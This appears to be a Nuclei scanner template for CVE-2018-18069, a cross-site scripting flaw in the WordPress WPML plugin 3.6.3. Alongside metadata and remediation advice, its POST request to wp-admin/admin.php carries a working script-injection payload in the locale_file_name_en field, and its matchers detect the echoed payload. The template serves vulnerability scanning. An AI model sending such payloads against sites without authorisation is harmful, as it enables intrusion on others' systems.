nuclei-templates/http/cves/2018/CVE-2018-18069.yaml

46 lines
1.7 KiB
YAML

id: CVE-2018-18069
info:
name: WordPress sitepress-multilingual-cms 3.6.3 - Cross-Site Scripting
author: nadino
severity: medium
description: WordPress plugin sitepress-multilingual-cms 3.6.3 is vulnerable to cross-site scripting in process_forms via any locale_file_name_ parameter (such as locale_file_name_en) in an authenticated theme-localization.php request to wp-admin/admin.php.
remediation: |
Update WordPress sitepress-multilingual-cms to the latest version to mitigate the XSS vulnerability.
reference:
- https://0x62626262.wordpress.com/2018/10/08/sitepress-multilingual-cms-plugin-unauthenticated-stored-xss/
- https://nvd.nist.gov/vuln/detail/CVE-2018-18069
classification:
cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
cvss-score: 6.1
cve-id: CVE-2018-18069
cwe-id: CWE-79
epss-score: 0.00106
epss-percentile: 0.43045
cpe: cpe:2.3:a:wpml:wpml:*:*:*:*:*:wordpress:*:*
metadata:
max-request: 1
vendor: wpml
product: wpml
framework: wordpress
tags: cve,cve2018,wordpress,xss,plugin
http:
- method: POST
path:
- "{{BaseURL}}/wp-admin/admin.php"
body: |
icl_post_action=save_theme_localization&locale_file_name_en=EN"><script>alert(0);</script>
host-redirects: true
max-redirects: 2
matchers:
- type: dsl
dsl:
- 'contains(tolower(header), "text/html")'
- 'contains(set_cookie, "_icl_current_admin_language")'
- 'contains(body, "\"><script>alert(0);</script>")'
condition: and
# digest: 4a0a0047304502207a1b865c7e0c6e13db037af12eec2604e87fd065fb71df5fd82e6a265fdc7781022100d16f4659be519bc14647c6802c2045f7b0032ba644af1be219adbfaa01855bda:922c64590222798bb761d5b6d8e72950